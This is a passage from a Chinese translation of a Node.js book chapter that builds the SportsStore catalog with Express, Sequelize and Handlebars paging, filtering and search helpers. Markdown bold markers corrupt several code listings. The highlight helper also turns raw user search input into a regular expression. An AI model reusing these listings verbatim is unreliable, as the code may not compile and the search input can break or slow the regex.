定义种子数据

列表 16.43 中添加的 seed_file 设置指定了用于用产品数据填充目录数据库的文件名。要定义数据,请将名为 products.json 的文件添加到 sportsstore 文件夹中,其内容如 列表 16.44 所示。

列表 16.44:SportsStore 文件夹中 products.json 文件的内容

{
    "suppliers": [
        { "id": 1, "name": "Acme Industries"},
        { "id": 2, "name": "Big Boat Co"},
        { "id": 3, "name": "London Chess"}
    ],
    "categories": [
        { "id": 1, "name": "Watersports"},
        { "id": 2, "name": "Soccer"},
        { "id": 3, "name": "Chess"}
    ],
    "products": [
        {"id": 1, "name": "Kayak", "description": "A boat for one person",
         "price": 275.00, "categoryId": 1, "supplierId": 2 },
        {"id": 2, "name": "Lifejacket",
            "description": "Protective and fashionable",
            "price": 48.95, "categoryId": 1, "supplierId": 2 },
        { "id": 3, "name": "Soccer Ball",
            "description": "FIFA-approved size and weight",
            "price": 19.50, "categoryId": 2, "supplierId": 1 },
        { "id": 4, "name": "Corner Flags",
            "description": "Give your playing field a professional touch",
            "price": 34.95, "categoryId": 2, "supplierId": 1 },
        { "id": 5, "name": "Stadium",
            "description": "Flat-packed 35,000-seat stadium",
            "price": 79500, "categoryId": 2, "supplierId": 1 },
        { "id": 6, "name": "Thinking Cap",
            "description": "Improve brain efficiency by 75%", "price": 16,
            "categoryId": 3, "supplierId": 3 },           
        { "id": 7, "name": "Unsteady Chair",
            "description": "Secretly give your opponent a disadvantage",
            "price": 29.95, "categoryId": 3, "supplierId": 3 },
        { "id": 8, "name": "Human Chess Board",
            "description": "A fun game for the family", "price": 75,
            "categoryId": 3, "supplierId": 3 },
        { "id": 9, "name": "Bling King",
            "description": "Gold-plated, diamond-studded King",
            "price": 1200, "categoryId": 3, "supplierId": 3 }           
    ]
} 

这些数据定义了三个供应商、三个类别和九个产品。当然,真正的在线商店拥有更大的目录,但这些数据足以继续构建应用程序。

使用目录数据

下一步是确认存储库按预期工作,通过向用户展示产品列表来验证。列表 16.45 使用存储库从数据库中读取产品数据。

列表 16.45:在 src/routes 文件夹中的 catalog.ts 文件中查询数据

import { Express } from "express";
**import { catalog_repository } from "../data";**
export const createCatalogRoutes = (app: Express) => {
   ** app.get("/"****, async (req, resp) => {**
 **const products = await catalog_repository.getProducts();**
 **resp.render("index", { products });**
 **})**
 **// app.get("/err", (req, resp) => {**
 **//     throw new Error ("Something bad happened");**
 **// });**

 **// app.get("/asyncerr", async (req, resp) => {**
 **//     throw new Error ("Something bad happened asynchronously");**
 **// });**
} 

templates 文件夹中 index.handlebars 文件的内容替换为 列表 16.46 中显示的内容。

列表 16.46:在模板文件夹中 index.handlebars 文件的内容

<table class="table table-sm table-striped">
    <thead>
        <tr>
            <th>ID</th><th>Name</th><th>Description</th>
            <th>Price</th><th>Category</th><th>Supplier</th>
        </tr>
    </thead>
    <tbody>
        {{#each products }}
            <tr>
                <td>{{id}}</td><td>{{name}}</td>
                <td>{{description}}</td><td>{{price}}</td>
                <td>{{category.name}}</td><td>{{supplier.name}}</td>
            </tr>
        {{/each}}
    </tbody>
</table> 

这不是数据的最终展示,但将产品数据放入表格是一个很好的方法,以确保所有字段都是可访问的,并且可以从数据库中读取,然后再确定详细的格式。使用浏览器请求 http://localhost:5000,你将看到 图 16.6 中显示的数据。

图 16.6:显示数据

摘要

在本章中,我们开始着手 SportsStore 项目,并展示了如何将前面章节中描述的关键特性结合起来,创建一个更真实的 Web 应用程序:

  • 开发工具监控 TypeScript 文件和其他项目资源,以便在检测到更改时构建和执行代码。

  • 配置系统定位并合并 JSON 文件,以提供可以由应用程序的其他部分一致读取并可以由特定环境值覆盖的汇总设置。

  • 使用 Express 包定义的路由处理 HTTP 请求并生成响应,使用 Handlebars 模板引擎渲染的模板。

  • 自定义错误处理器生成与应用程序其他部分一致的响应,并处理异步请求处理器中的错误。

  • Sequelize 包创建一个数据库,该数据库将产品数据存储在 SQLite 数据库中,在部署前将被 PostgreSQL 替换。

  • 每次应用程序启动时,数据库都会重置并重新填充数据。

在下一章中,我们将继续构建 SportsStore 应用程序,通过完成产品目录并引入购物车来继续。

第十七章:SportsStore:导航和购物车

在本章中,我们将继续构建 SportsStore 应用程序,通过完成目录并添加一个购物车来实现,用户可以通过购物车进行产品选择。

准备本章内容

本章使用在第十六章中创建的 sportsstore 项目。本章不需要进行任何更改。打开一个新的命令提示符,导航到 sportsstore 文件夹,并运行列表 17.1中显示的命令以启动开发工具。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书所有其他章节的示例项目。如果您在运行示例时遇到问题,请参阅第一章以获取帮助。

列表 17.1:启动开发工具

npm start 

打开一个新的浏览器窗口,导航到 http://localhost:5000,您将看到以简单表格格式从数据库中读取的数据,如图图 17.1所示。

图 17.1:运行应用程序

导航目录

真正的在线商店有太多的产品,无法同时合理地展示给用户,通常提供工具来帮助用户找到并选择他们想要的产品。在接下来的部分中,我将向 SportsStore 添加功能,使用户能够通过选择显示的数据在目录中进行导航。

分页目录数据

分页向用户展示可管理的数据块,并提供控制按钮以从一页跳转到下一页。分页控件给用户一种数据量多少的感觉,并且每个页面需要服务器在每次响应中发送更少的数据,这可以减少用户等待数据显示的时间。分页的缺点是它需要服务器在用户导航数据时处理大量的 HTTP 请求和执行大量的数据库查询。

在处理数据页面的请求时,服务器需要知道每页显示多少项,以及用户想要获取哪一页的数据。为了生成分页控件,服务器还需要知道总共有多少项。列表 17.2 定义了描述查询细节和响应的新类型。

列表 17.2:在 src/data 文件夹中的 catalog_models.ts 文件中添加分页类型

export interface  Product {
    id?: number;
    name: string;
    description: string;
    price: number;

    category?: Category;
    supplier?: Supplier;
}
export interface Category {
    id?: number;
    name: string;
    products?: Product[];
}
export interface Supplier {
    id?: number;
    name: string;

    products?: Product[];
}
**export interface ProductQueryParameters {**
 **pageSize?: number;**
 **page?: number;**
**}**
**export interface ProductQueryResult {**
 **products: Product[];**
 **totalCount: number;**
**}** 

ProductQueryParameters 接口允许将查询相关的分页要求提供给存储库。ProductQueryResult 接口描述了存储库将生成的响应,其中包含数据页和存储项的总数。这些类型将在添加其他数据导航功能时进行扩展。列表 17.3 修改了存储库接口中的产品查询方法以支持新类型。

列表 17.3:在 src/data 文件夹中的 catalog_repository.ts 文件中更改方法

**import** **{ Category, Product, Supplier, ProductQueryParameters,**
 **ProductQueryResult } from "./catalog_models";**
export interface CatalogRepository {
    **getProducts(params?: ProductQueryParameters): Promise<ProductQueryResult>;**
    storeProduct(p: Product): Promise<Product>;
    getCategories() : Promise<Category[]>;
    storeCategory(c: Category): Promise<Category>;
    getSuppliers(): Promise<Supplier[]>;
    storeSupplier(s: Supplier): Promise<Supplier>;
} 

getProducts 方法现在接受一个可选的 ProductQueryParameters 参数,并返回一个 ProductQueryResult 结果。列表 17.4 更新了存储库的实现,以反映接口的变化。

列表 17.4:在 src/data/orm 文件夹中的 queries.ts 文件中使用新类型

import { CategoryModel, ProductModel, SupplierModel } from "./models";
import { BaseRepo, Constructor } from "./core"
**import { ProductQueryParameters } from "../catalog_models";**
export function AddQueries<TBase extends Constructor<BaseRepo>>(Base: TBase) {
    return class extends Base {

       ** async** **getProducts(params?: ProductQueryParameters) {**
 **const opts: any = {};**
 **if (params?.page && params.pageSize) {**
 **opts.limit = params?.pageSize,**
 **opts.offset** **= (params.page -1) * params.pageSize** 
 **}**
 **const result = await ProductModel.findAndCountAll({** 
                include: [
                    {model: SupplierModel, as: "supplier" },
                    {model: CategoryModel, as: "category"}],
                raw: true, nest: true,
                ..**.opts**
 **});** 
 **return { products: result.rows, totalCount: result.count };**
        }
        getCategories() {
            return CategoryModel.findAll({raw: true, nest: true})
        }

        getSuppliers() {
            return SupplierModel.findAll({raw: true, nest: true});
        }       
    }
} 

如果 getProducts 方法接收到 ProductQueryParameters 参数,那么 Sequelize 查询将配置 limitoffset 属性,这些属性指定了应从数据库中读取的最大结果数量,以及开始读取结果之前应跳过的结果数量。这种属性组合将读取指定页面的数据。

查询是通过 findAndCountAll 方法执行的,该方法查找数据并包括数据库中与查询匹配的总项目数,无论这些项目中有多少包含在结果中。查询返回的数据和匹配项的总数组合用于创建 ProductQueryParameters 结果。列表 17.5 更新了 HTTP 处理程序,以便从查询字符串中读取分页详细信息并将其包含在调用存储库中。如果查询字符串不包含分页信息,则使用默认值选择每页四项的第 1 页。

列表 17.5:在 src/routes 文件夹中的 catalog.ts 文件中使用页面数据

import { Express } from "express";
import { catalog_repository } from "../data";
export const createCatalogRoutes = (app: Express) => {
    app.get("/", async (req, resp) => {
        const page = Number.parseInt(req.query.page?.toString() ?? "1");
       ** const pageSize =Number.parseInt(req.query.pageSize?.toString() ?? "3");**
 **const res = await catalog_repository.****getProducts({ page, pageSize});**
 **resp.render("index", { ...res, page, pageSize,**
 **pageCount: Math.ceil(res.totalCount / (pageSize ?? 1))});**
    });
} 

您可以使用浏览器请求 http://localhost:5000/?pageSize=3&page=2 来检查数据是否已分页。URL 指定了每页三个项目的大小,并请求第 2 页,生成如 图 17.2 所示的结果。

图 17.2:显示数据页面

添加分页控件

现在数据可以分页后,下一步是为用户提供选择他们想要页面的能力。将一个名为 page_controls.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 17.6 所示。

列表 17.6:在 templates 文件夹中的 page_controls.handlebars 文件的内容

<div class="col">
    {{#pageButtons }}
        {{#if selected}}
            <button class="btn btn-sm btn-light active mr-1 p-2">
                {{index}}
            </button>
        {{else}}
        <a class="btn btn-sm btn-light mr-1 p-2"
            href="{{navigationUrl page=index }}">{{index}}</a>
        {{/if}}
    {{/pageButtons}}
</div> 

此模板依赖于两个辅助器,将在稍后定义。pageButtons 辅助器将重复生成每个页面内容的一个内容部分,使用模板提供的分页数据:

...
{{#pageButtons }}
   // ...template content omitted for brevity...
{{/pageButtons}}
... 

在助手标签之间包含的内容将为每个可用的数据页面重复。每个内容块都提供了一个 index 值,该值指示正在生成控件的页面,以及一个 selected 值,该值指示当前页面是否是用户正在查看的页面。当 selected 值为 true 时,将显示一个不执行任何操作的按钮,格式化为活动状态以指示当前页面。对于其他页面,将显示一个锚点元素(带有 a 标签),格式化为非活动按钮。锚点元素的 href 属性使用名为 navigationUrl 的助手定义,该助手生成一个将导航到所选页面的 URL。要为目录定义模板助手,请将名为 catalog_helpers.ts 的文件添加到 src/helpers 文件夹中,其内容如 列表 17.7 所示。

列表 17.7:src/helpers 文件夹中 catalog_helpers.ts 文件的内容

import { HelperOptions }  from "handlebars";
import { stringify } from "querystring";
import { escape } from "querystring";
const getData = (options:HelperOptions) => {
     return {...options.data.root, ...options.hash}
};
export const navigationUrl = (options: HelperOptions) => {
    const { page, pageSize } = getData(options);
    return "/?" + stringify({ page, pageSize });
}
export const escapeUrl = (url: string) => escape(url);
export const pageButtons = (options: HelperOptions) => {
    const { page, pageCount } = getData(options);
    let output = "";
    for (let i = 1; i <= pageCount; i++) {
        output += options.fn({
            page, pageCount, index: i, selected: i === page
        });
    }
    return output;
} 

助手函数接收一个 HelperOptions 参数,该参数提供了有用的上下文功能。HelperOptions.hash 属性用于以名称/值对的形式接收数据,并且是向助手提供结构化数据的有用方式,如下所示:

...
href="{{navigationUrl page=index }}">{{index}}</a>
... 

HelperOptions.data 属性提供对上下文数据的访问,其 root 属性包含调用助手的模板中的数据。getData 方法将哈希数据中的值与根数据合并。

注意

Handlebars 包非常出色,但 HelperOptions 接口提供的并非所有功能都有文档说明,包括对 data.root 属性的使用。该包的将来版本可能会更改此属性的定义方式,因此您必须注意使用 第十六章 中指定的版本,或者检查文档和源代码以查看有哪些更改。

navigationUrl 助手函数接受一个 HelperOptions 参数,并使用它来生成一个相对 URL 路径,该路径将选择特定的页面,这是通过使用 Node.js 提供的 querystring 模块中的 stringify 函数来完成的,该函数用于创建和解析查询字符串:

...
return "/?" + **stringify**({ page, pageSize });
... 

pageButtons 函数更为复杂,因为它需要生成内容块,这通过分配给 HelperOptions.fn 属性的函数来完成,该函数使用助手标签之间的元素生成内容。escapeUrl 助手对值进行编码,以便它可以包含在查询字符串中。

pageButtons 助手使用 for 循环和 fn 函数为每个数据页面创建内容,通过 indexselected 值补充共享的分页数据,这些值对每个页面是特定的。列表 17.8 将新的助手添加到模板引擎配置中。

列表 17.8:将助手添加到 src/helpers 文件夹中的 index.ts 文件

import { Express } from "express";
import { getConfig } from "../config";
import { engine } from "express-handlebars";
import * as env_helpers from "./env";
**import** *** as catalog_helpers from "./catalog_helpers";**
const location = getConfig("templates:location");
const config = getConfig("templates:config");
export const createTemplates = (app: Express) => {
    app.set("views", location);
    app.engine("handlebars", engine({
        ...**config, helpers****: {...env_helpers, ...catalog_helpers}**
    }));
    app.set("view engine", "handlebars");
} 

最后一步是将 列表 17.7 中定义的局部模板包含到应用程序生成的内容中,如 列表 17.9 所示。

列表 17.9:在 templates 文件夹中的 index.handlebars 文件中使用分页部分视图

<table class="table table-sm table-striped">
    <thead>
        <tr>
            <th>ID</th><th>Name</th><th>Description</th>
            <th>Price</th><th>Category</th><th>Supplier</th>
        </tr>
    </thead>
    <tbody>
        {{#each products }}
            <tr>
                <td>{{id}}</td><td>{{name}}</td>
                <td>{{description}}</td><td>{{price}}</td>
                <td>{{category.name}}</td><td>{{supplier.name}}</td>
            </tr>
        {{/each}}
    </tbody>
</table>
**{{> page_controls }}** 

使用浏览器请求 http://localhost:5000/?pageSize=3pageSize 值指定每页三个数据项,并且从查询字符串中省略 page 值将默认为数据的第一页,如图 图 17.3 所示。将为每个可用的页面显示一个按钮,点击非活动按钮将选择不同的页面。

图片

图 17.3:通过数据分页

改变页面大小

为了允许用户更改每页的项目数量,列表 17.10 创建了一个包含现有页面按钮以及一个填充了不同页面大小的选择按钮的网格。

列表 17.10:在 templates 文件夹中的 page_controls.handlebars 文件中添加一个选择按钮

**<div** **class="container-fluid">**
 **<div class="row">**
        <div class="col">
            {{#pageButtons }}
                {{#if selected}}
                    <button class="btn btn-sm btn-light active mr-1 p-2">
                        {{index}}
                    </button>
                {{else}}
                <a class="btn btn-sm btn-light mr-1 p-2"
                    href="{{navigationUrl page=index }}">{{index}}</a>
                {{/if}}
            {{/pageButtons}}
        </div>
        <div class="col-auto text-end">        
        **    <form id="pageSizeForm" method="get">**
 **<select class="form-select"** **name="pageSize">**
 **{{#pageSizeOptions }}**
 **<option value="{{size}}" {{selected}}>**
 **{{size}} per page**
 **</option>**
 **{{/pageSizeOptions }}**
**</select>**
 **</form>** 
 **</div>**
 **<div class="col-auto">**
**<button class="btn btn-light mr-2" type="submit"**
 **form="pageSizeForm">Go</button>**
**</div>**
 **</div>**
**</div>** 

表单通过一个配置了 form 属性的 button 元素提交,这允许它位于网格中,而无需成为 form 元素的子元素。选项元素由一个名为 pageSizeOptions 的模板辅助工具创建,该工具在 列表 17.11 中定义。

列表 17.11:在 src/helpers 文件夹中的 catalog_helpers.ts 文件中定义一个辅助工具

import { HelperOptions }  from "handlebars";
import { stringify } from "querystring";
import { escape } from "querystring";
// ...other helpers omitted for brevity...
**export const pageSizeOptions = (options: HelperOptions) => {**
 **const { pageSize } = getData(options);**
 **let output = ""****;**
 **[3, 6, 9].forEach(size => {**
 **output += options.fn({ size,**
 **selected: pageSize === size ? "selected": ""})**
 **})**
**return output;**
**}** 

辅助工具生成选项,允许用户选择每页369个项目,并将 selected 属性应用于匹配当前页面大小的 option 元素。使用浏览器请求 http://localhost:5000,从选择选项中选择每页 6 项,然后点击前往按钮。表单将提交一个指定新页面大小的 GET 请求,如图 图 17.4 所示。

图片

图 17.4:改变页面大小

过滤目录数据

下一个导航特性将允许用户通过选择一个类别或提供搜索词来过滤目录。列表 17.12ProductQueryParameters 接口添加了新的属性以支持过滤,并向 ProductQueryResult 接口添加了一个 categories 属性,以便用户可以看到一个类别列表。

列表 17.12:在 src/data 文件夹中的 catalog_models.ts 文件中添加对过滤的支持

...
export interface ProductQueryParameters {
    pageSize?: number;
    page?: number;
  **  category?: number;**
 **searchTerm?: string;**
}
export interface ProductQueryResult {
    products: Product[];
    totalCount: number;
  **  categories: Category[];**
}
... 

列表 17.13 使用新属性查询数据库,根据搜索词和选定的类别过滤数据。

列表 17.13:在 src/data/orm 文件夹中的 queries.ts 文件中过滤数据

import { CategoryModel, ProductModel, SupplierModel } from "./models";
import { BaseRepo, Constructor } from "./core"
import { ProductQueryParameters } from "../catalog_models";
**import { Op } from "sequelize";**
export function AddQueries<TBase extends Constructor<BaseRepo>>(Base: TBase) {
    return class extends Base {

        async getProducts(params?: ProductQueryParameters) {
            const opts: any = {};
            if (params?.page && params.pageSize) {
                opts.limit = params?.pageSize,
                opts.offset = (params.page -1) * params.pageSize               
            }
            **if(params?.searchTerm) {**
 **const** **searchOp = { [Op.like]: "%" + params.searchTerm + "%"};**
 **opts.where = {**
 **[Op.or]: { name: searchOp, description****: searchOp }**
 **}**
 **}**
 **if (params?.category) {**
 **opts.where = {**
 **...opts.where,  categoryId: params.category**
 **}**
 **}**
            const result = await ProductModel.findAndCountAll({               
                include: [
                    {model: SupplierModel, as: "supplier" },
                    {model: CategoryModel, as: "category"}],
                raw: true, nest: true,
                ...opts
            });              
          **  const categories = await this.getCategories();**
 **return { products: result.rows****, totalCount: result.count, categories };**
        }
        getCategories() {
            return CategoryModel.findAll({raw: true, nest: true})
        }

        getSuppliers() {
            return SupplierModel.findAll({raw: true, nest: true});
        }       
    }
} 

列表 17.13中的更改检查ProductQueryParameters对象,并引入一个where子句来限制数据库查询。通过要求特定的categoryId值来进行类别过滤。搜索更为复杂。一些数据库服务器支持在数据上执行全文搜索,但 Sequelize 不支持这一点,这就是为什么使用like操作的原因。当用户提供搜索词时,where子句用于匹配使用名称或描述值的数据。像大多数 ORM 一样,Sequelize 专注于广泛且一致支持的功能,这意味着并非数据库服务器的每个功能都可用。尽管如此,你可以执行原始 SQL 查询来访问任何功能,如第十二章中所示。

列表 17.14 更新了 HTTP 请求处理器,以便从传递给存储库的查询字符串中读取类别和搜索词,并将它们包含在传递给模板引擎的数据中。

列表 17.14:在src/routes文件夹中的catalog.ts文件中支持过滤

import { Express } from "express";
import { catalog_repository } from "../data";
export const createCatalogRoutes = (app: Express) => {
    app.get("/", async (req, resp) => {
        const page = Number.parseInt(req.query.page?.toString() ?? "1");
        const pageSize =Number.parseInt(req.query.pageSize?.toString() ?? "3")
       ** const searchTerm = req.query.searchTerm?.toString();**
**const category = Number.parseInt(req.query.category?.toString() ?? "")**
 **const res = await catalog_repository.getProducts({ page, pageSize,**
 **searchTerm, category});**
 **resp.****render("index", { ...res, page, pageSize,**
 **pageCount: Math.ceil(res.totalCount / (pageSize ?? 1)),**
 **searchTerm, category**
 **});**
    });
} 

要确认过滤功能是否正常工作,请使用浏览器请求http://localhost:5000/?searchTerm=pro,这将过滤包含术语pro的产品名称或描述的数据。要包含类别过滤器,请请求http://localhost:5000/?searchTerm=pro&category=2,这将进一步限制数据到Soccer类别中的产品。这两组结果都显示在图 17.5中。

图 17.5:使用查询字符串参数过滤数据

添加过滤控件

提供用户过滤控件意味着展示一个类别按钮列表和一个用于输入搜索词的输入元素。将一个名为category_controls.handlebars的文件添加到templates文件夹中,其内容如列表 17.15所示。

列表 17.15:templates文件夹中category_controls.handlebars文件的内容

<div class="d-grid gap-2 py-2">
    <a class="btn btn-outline-secondary"
        href="{{navigationUrl category="" page=1 searchTerm="" }}">
            Home
    </a>
    {{#categoryButtons  }}
        {{#if selected }}
            <a class="btn btn-secondary">{{ name }}</a>
        {{else }}
            <a class="btn btn-outline-secondary"
                href="{{navigationUrl category=id page=1}}">
                {{ name }}
            </a>
        {{/if }}
    {{/categoryButtons }}
</div> 

此模板依赖于一个名为categoryButtons的辅助器来生成用于类别导航的按钮。辅助器将提供一个selected值,该值用于决定是否生成一个不活动的占位符(用于所选类别)或一个使用navigationUrl创建的href属性来选择类别的锚元素。还有一个始终存在的Home按钮,它选择所有类别。

在生成href属性的 URL 时,此模板将除category之外的其他导航值设置为默认值,以确保用户看到有用的内容。对于Home按钮,这意味着清除searchTerm值并选择内容的第一页:

...
<a class="btn btn-outline-secondary"
    href="{{navigationUrl category="" page=1 searchTerm="" }}">
... 

设置这些值给用户一个重置选项,只保留pageSize选项不变。对于选择类别的按钮,page值将被重置:

...
<a class="btn btn-outline-secondary"
    href="{{navigationUrl category=id page=1}}">
... 

这确保了当用户从一个产品众多的类别移动到一个产品较少的类别时,始终会看到产品,并防止显示空页面。列表 17.16 定义了 categoryButtons 辅助函数并更新了 navigationUrl 辅助函数,以便它在其创建的 URL 中包含类别和搜索词选择。

列表 17.16:在 src/helpers 文件夹中的 catalog_helpers.ts 文件中支持过滤

import { HelperOptions }  from "handlebars";
import { stringify } from "querystring";
import { escape } from "querystring";
const getData = (options:HelperOptions) => {
     return {...options.data.root, ...options.hash}
};
export const navigationUrl = (options: HelperOptions) => {
    **const { page, pageSize, category, searchTerm } = getData(options);**
 **return "/?" + stringify({ page, pageSize, category, searchTerm  });**
}
export const escapeUrl = (url: string) => escape(url);
export const pageButtons = (options: HelperOptions) => {
    const { page, pageCount } = getData(options);
    let output = "";
    for (let i = 1; i <= pageCount; i++) {
        output += options.fn({
            page, pageCount, index: i, selected: i === page
        });
    }
    return output;
}
export const pageSizeOptions = (options: HelperOptions) => {
    const { pageSize } = getData(options);
    let output = "";
    [3, 6, 9].forEach(size => {
        output += options.fn({ size,
            selected: pageSize === size ? "selected": ""})
    })
    return output;
}
**export const categoryButtons = (options: HelperOptions) => {**
 **const { category, categories } = getData****(options);**
 **let output = "";**
 **for (let i = 0; i < categories.length; i++) {**
 **output += options.fn({**
 **id: categories[i].id****,**
 **name: categories[i].name,**
 **selected: category === categories[i].id**
 **})**
 **}**
 **return output;**
} 

要添加输入搜索词的支持,请将一个名为 search_controls.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 17.17 所示。

列表 17.17:模板文件夹中的 search_controls.handlebars 文件的内容

<form class="row row-cols my-2" method="get">
    <div class="col">
        <input type="hidden" name="pageSize" value="{{pageSize}}">
        <input type="hidden" name="category" value="{{category}}">
        <input class="form-control" name="searchTerm"
            placeholder="Product Search" value="{{searchTerm}}">
    </div>
    <div class="col-auto">
        <button class="btn btn-small btn-secondary" type="submit">
            Search
        </button>
    </div>
</form> 

此模板包含一个表单,其中包含一个 input 元素,用于输入搜索词,以及一个提交表单的按钮。表单通过 GET 请求提交,并且有隐藏的 input 元素以确保 pageSizecategory 值与搜索词一起包含在发送到服务器的查询字符串中。列表 17.18 将新模板集成到用户看到的内容中。

列表 17.18:在模板文件夹中的 index.handlebars 文件中集成过滤

**<div** **class="container-fluid">**
 **<div class="row">**
 **<div class="col-2"****>**
 **{{> category_controls }}**
 **</div>**
 **<div class="col">**
 **{{> search_controls }}**
            <table class="table table-sm table-striped">
                <thead>
                    <tr>
                        <th>ID</th><th>Name</th><th>Description</th>
                        <th>Price</th><th>Category</th><th>Supplier</th>
                    </tr>
                </thead>
                <tbody>
                    {{#each products }}
                        <tr>
                            <td>{{id}}</td><td>{{name}}</td>
                            <td>{{description}}</td><td>{{price}}</td>
                            <td>{{category.name}}</td>
                            <td>{{supplier.name}}</td>
                        </tr>
                    {{/each}}
                </tbody>
            </table>
            {{> page_controls }}
        </div>
    </div>
</div> 

使用浏览器请求 http://localhost:5000,在搜索字段中输入 pro 并点击 搜索 按钮以过滤匹配项。点击 足球 按钮进一步过滤到一个类别。两个结果都显示在 图 17.6 中。

图 17.6

图 17.6:使用数据过滤控件

更新产品显示

完成目录的最后一步是改进产品显示方式,为后续功能奠定基础。在 templates 文件夹中创建一个名为 product.handlebars 的文件,其内容如 列表 17.19 所示。

列表 17.19:模板文件夹中的 product.handlebars 文件的内容

<div class="card card-outline-primary m-1 p-1">
    <div class="bg-faded p-1">
        <h4>
            {{ highlight name }}
            <span class="badge rounded-pill bg-primary text-white"
                   style="float:right">
                <small>{{ currency price }}</small>
            </span>
        </h4>
    </div>
    <div class="card-text p-1">{{ highlight description }}</div>
</div> 

此模板显示单个产品的卡片,使用 Bootstrap CSS 包中的样式进行布局。模板依赖于两个辅助函数:highlight 辅助函数将强调搜索词,而 currency 辅助函数将格式化价格,如 列表 17.20 所示。

列表 17.20:在 src/helpers 文件夹中的 catalog_helpers.ts 文件中添加辅助函数

**import Handlebars, { HelperOptions }  from "handlebars";**
import { stringify } from "querystring";
import { escape } from "querystring";
// ...other helpers omitted for brevity...
**export const highlight = (value: string, options: HelperOptions****) => {**
 **const { searchTerm } = getData(options);**
 **if (searchTerm && searchTerm !== "") {**
 **const regexp = new RegExp(searchTerm, "ig");**
 **const mod = value.replaceAll****(regexp, "<strong>$&</strong>");**
 **return new Handlebars.SafeString(mod);** 
 **}**
 **return value;**
**}**
**const formatter = new Intl.****NumberFormat("en-us", {**
 **style: "currency", currency: "USD"**
**})**
**export const currency = (value: number****) => {**
 **return formatter.format(value);**
**}** 

highlight 辅助函数使用 JavaScript 正则表达式将搜索词用 strong 元素包裹,这告诉浏览器使用粗体字体。模板引擎会自动清理辅助函数的结果,因此必须使用 HandleBars.SafeString 函数,以确保辅助函数生成的 HTML 元素保持不变。currency 辅助函数将数值格式化为美元金额,使用内置的国际化 API。

理解延迟本地化的影响

本地化一个产品需要时间、精力和资源,并且需要由了解目标国家或地区语言、文化和货币惯例的人来完成。如果你没有正确本地化,那么结果可能比没有本地化还要糟糕。

正是因为这个原因,我在这本书中(或我的任何一本书中)没有详细描述本地化功能,以及为什么 SportsStore 应用程序中的货币值被硬编码为 USD。至少,如果一个产品没有本地化,用户就知道自己的位置,不必试图弄清楚你是否只是忘记更改货币代码,或者这些价格是否真的是美元。 (这是我在居住在英国时经常看到的问题。)

你应该本地化你的产品。你的用户应该能够以对他们有意义的方式进行业务或其他操作。但是,你必须认真对待,并分配完成它所需的时间和精力。如果你无法投入资源,那么最好的选择就是什么都不做。

列表 17.21 用新的模板替换了我们本章开始时使用的占位符表。

列表 17.21:在模板文件夹中的 index.handlebars 文件中使用产品模板

<div class="container-fluid">
    <div class="row">
        <div class="col-2">
            {{> category_controls }}
        </div>
        <div class="col">
            {{> search_controls }}   
            **{{#unless products}}<h4>****No products</h4>{{/unless}}**
 **{{#each products }}**
 **{{> product this }}**
 **{{/each}}**
            {{> page_controls }}
        </div>
    </div>
</div> 

使用浏览器请求 http://localhost:5000,你将看到新的产品布局。执行搜索后,你将在产品列表中看到高亮显示的匹配项,如图 图 17.7 所示。

图片

图 17.7:更新产品显示

创建购物车

现在用户可以看到并导航销售的产品,下一步是添加一个购物车,允许他们在结账前进行选择。对于 SportsStore 应用程序,购物车数据将使用会话处理,这样当会话过期时,产品选择就会被丢弃。

添加秘密的配置支持

SportsStore 应用程序将使用 cookies 将请求与一个会话关联起来,并且这些 cookies 将被签名以防止它们被篡改。签名和验证过程需要一个只有应用程序知道的秘密密钥。

秘密密钥以及更广泛地说,任何秘密信息,可能难以管理。基本规则是,秘密不应该被硬编码到应用程序中,因为这会使它们在没有发布新版本到生产中时无法更改。

但是,除了不硬编码之外,如何管理秘密的细节取决于应用程序、开发组织和生产平台。例如,大多数云托管平台都提供用于存储秘密的保险库。

保险库中填充了秘密,当需要时应用程序会请求这些秘密,这意味着开发人员、测试人员和运维人员可以在不需要访问秘密的情况下完成他们的工作。

在大型组织中,当密钥由开发组织外的安全人员管理时,保险库工作得很好,但它们可能难以使用,并且必须在开发环境中复制。

密钥可以存储在配置文件中,与应用程序的其余设置一起。这样做是可行的,但这也意味着密钥将对开发者可见,并且需要小心处理,以免在将配置文件提交到公开可访问的源代码仓库或将私有仓库存储在组织外部可以访问的云存储上时泄露密钥。

密钥通常使用环境变量定义。想法是环境变量不是持久的,因此不可能意外地包含在源代码提交中。现实是设置环境变量可能很麻烦,尤其是处理长序列的随机字符的密钥时,因此它们通常使用脚本文件定义,这会带来与常规配置文件相同的问题。

每种方法都有其缺点,没有一种单一的最好解决方案。我首选的方法是通过扩展配置系统来将密钥的提供与其他应用程序部分隔离开来。这使得更改存储密钥的方式变得容易,这可能会随着项目的演变而发生变化。幕后,我将使用环境变量来存储密钥,但这对应用程序的其他部分来说并不明显。定义环境变量的最简单和最一致的方式是使用一个 env 文件,它是一个包含键/值对的简单文本文件。为了添加对读取 env 文件的支持,请在 sportsstore 文件夹中运行 列表 17.22 中显示的命令来安装一个新的包。

提示

Node.js 确实内置了对读取 env 文件的支持(使用 --env-file 参数,但该包提供了更多控制文件何时读取以及如何处理内容的方式)。

列表 17.22:安装包

npm install dotenv@16.4.4 

表 17.1 描述了此包以供快速参考。

表 17.1:env 文件包

名称 描述

|

`dotenv` 
此包读取 .env 文件,并将它们的内 容作为环境变量呈现。

sportstore 文件夹中添加一个名为 development.env(点后跟 env)的文件,其内容如 列表 17.23 所示。

列表 17.23:sportsstore 文件夹中 development.env 文件的内容

# secret used to sign session cookies
COOKIE_SECRET="sportsstoresecret" 

env 文件包含一个条目,名为 COOKIE_SECRET列表 17.24 使用 dotenv 包读取 env 文件并添加了一个获取密钥的函数。

列表 17.24:在 src/config 文件夹中的 index.ts 文件中支持密钥

import { readFileSync } from "fs";
import { getEnvironment, Env } from "./environment";
import { merge } from "./merge";
import { config as dotenvconfig } from "dotenv";
const file = process.env.SERVER_CONFIG ?? "server.config.json"
const data = JSON.parse(readFileSync(file).toString());
**dotenvconfig({**
 **path: getEnvironment().toString() + ".env"**
**})**
try {
    const envFile = getEnvironment().toString() + "." + file;
    const envData = JSON.parse(readFileSync(envFile).toString());
    merge(data, envData);
} catch {
    // do nothing - file doesn't exist or isn't readable
}
export const getConfig = (path: string, defaultVal: any = undefined) => {
    const paths = path.split(":");
    let val = data;
    paths.forEach(p => val = val[p]);
    return val ?? defaultVal;
}
**export const getSecret = (name: string) => {**
 **const secret = process.env[name];**
 **if (secret === undefined) {**
